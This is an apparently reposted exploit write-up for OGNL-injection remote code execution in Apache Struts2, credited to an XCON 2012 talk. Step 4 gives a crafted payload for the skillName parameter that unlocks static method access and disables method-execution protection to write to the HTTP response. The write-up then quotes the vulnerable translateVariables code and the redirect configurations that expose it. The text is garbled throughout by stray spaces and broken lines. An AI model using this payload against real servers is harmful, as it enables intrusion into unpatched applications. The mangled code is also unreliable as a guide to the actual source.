Apache struts2 remote code execute

This method was published at xcon2012 xcon.xfocus.net.
Kxlzx http://www.inbreak.net

Flow this and step by step:

1, down load struts2-showcase from struts.apache.org
2, run struts2-showcase.
3. open url:
Http: // localhost: 8080/struts2-showcase/skill/edit. action? SkillName = SPRIN
G-DEV
4, write skill name to % {expr} for example:
% {(# _ MemberAccess ['allowstaticmethodaccess'] = true) (# context ['xwork. Metho
DAccessor. denyMethodExecution '] = false) (# hackedbykxlzx = @ org. apache. struts
2. ServletActionContext @ getResponse (). getWriter (), # hackedbykxlzx. println (
'Hacked by kxlzx'), # hackedbykxlzx. close ())}
5, submit and all will done.

This method:
Public static String translateVariables (String expression, ValueStack stack ){
Return translateVariables (new char [] {'$', '%'}, expression, stack, String. class, null). toString ();
}
Look two char "$" and "%"

And
This method: www.2cto.com

Public static Object translateVariables (char [] openChars, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount ){
// Deal with the "pure" expressions first!
// Expression = expression. trim ();
Object result = expression;
For (char open: openChars ){
.........
While (true ){
..........
String var = expression. substring (start + 2, end );

Object o = stack. findValue (var, asType );
............
If user input is "% {expr }"
This will execute ognl like:
$ {% {Expr }}

This need devloper code like:

<Action name = "redirect" class = "net. inbreak. RedirectAction">
<Result name = "redirect" type = "redirect" >$ {redirectUrl} </result>
</Action>

Or like:
<Action name = "save" class = "org. apache. struts2.showcase. action. SkillAction" method = "save">
<Result type = "redirect"> edit. action? SkillName =$ {currentSkill. name} </result>
</Action>

----------
Kxlzx at alibaba security team.